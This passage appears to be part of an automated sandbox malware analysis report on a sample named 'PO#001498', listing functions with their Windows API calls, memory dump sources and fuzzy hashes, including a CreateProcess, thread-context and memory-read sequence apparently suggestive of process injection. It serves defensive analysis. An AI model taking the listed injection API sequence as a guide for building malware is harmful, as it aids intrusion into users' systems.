                                                                                                                                                                                • Opcode Fuzzy Hash: eacc0142db4d950baece999cff2e812bbd2e67c8ad5ab65b103d457396c453fe
                                                                                                                                                                                • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                                                                                                                                Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                                                                                                • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 823142352-0
                                                                                                                                                                                • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                                                                                                • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                                                                                                Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __lock_file_memset
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 26237723-0
                                                                                                                                                                                • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                                                • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                                                Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                                                  • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                                                • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 717694121-0
                                                                                                                                                                                • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                                                • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                                                Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Message$DispatchTranslate
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1706434739-0
                                                                                                                                                                                • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                                                                                                                • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                                                                                                                Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Message$DispatchTranslate
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1706434739-0
                                                                                                                                                                                • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                                                                                                                • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                                                                                                                Function 042782A5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 04278A63
                                                                                                                                                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04278AF9
                                                                                                                                                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 04278B1B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1325718466.0000000004277000.00000040.00000020.00020000.00000000.sdmp, Offset: 04277000, based on PE: false
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_4277000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2438371351-0
                                                                                                                                                                                • Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                                • Instruction ID: 32eac4737b500bb01a2b7cf1b7b109be41782fba7daa5250d78baf20058abd2e
                                                                                                                                                                                • Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                                • Instruction Fuzzy Hash: 0812DE20E24658C6EB24DF64D8547DEB232EF68300F1090E9910DEB7A5E77A5F81CF5A
                                                                                                                                                                                Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ProtectVirtual
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 544645111-0
                                                                                                                                                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                                                                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                                                                                                Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                                                                                                                                                                                • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                                                                                                                • Opcode Fuzzy Hash: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                                                                                                                                                                                • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                                                                                                                Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ProcWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 181713994-0
                                                                                                                                                                                • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                                                                                                • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                                                                                                Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateHeap
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 10892065-0
                                                                                                                                                                                • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                                                • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                                                Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                                                                                                • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$PointerWrite
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 539440098-0
                                                                                                                                                                                • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                                                                                                • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                                                                                                Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ProcWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 181713994-0
                                                                                                                                                                                • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                                                                                                • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                                                                                                Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wfsopen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 197181222-0
                                                                                                                                                                                • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                                                • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                                                Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2962429428-0
                                                                                                                                                                                • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                                                                                                • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                                                                                                Function 042792A8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • Sleep.KERNELBASE(000001F4), ref: 042792B9
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1325718466.0000000004277000.00000040.00000020.00020000.00000000.sdmp, Offset: 04277000, based on PE: false
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_4277000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Sleep
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3472027048-0
                                                                                                                                                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                • Instruction ID: 907cd23da4cc9846700ed428028ed5685ad8e81cb3b2384b13bd77c92c8c5ada
                                                                                                                                                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                • Instruction Fuzzy Hash: 58E0E67494020DDFDB00EFB8D54969D7BB4EF04301F1005A1FD01D2280DA309D508A62

                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                                                • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                                                • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                                                • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                                                • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                                                                                                • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                                                • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                                                • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
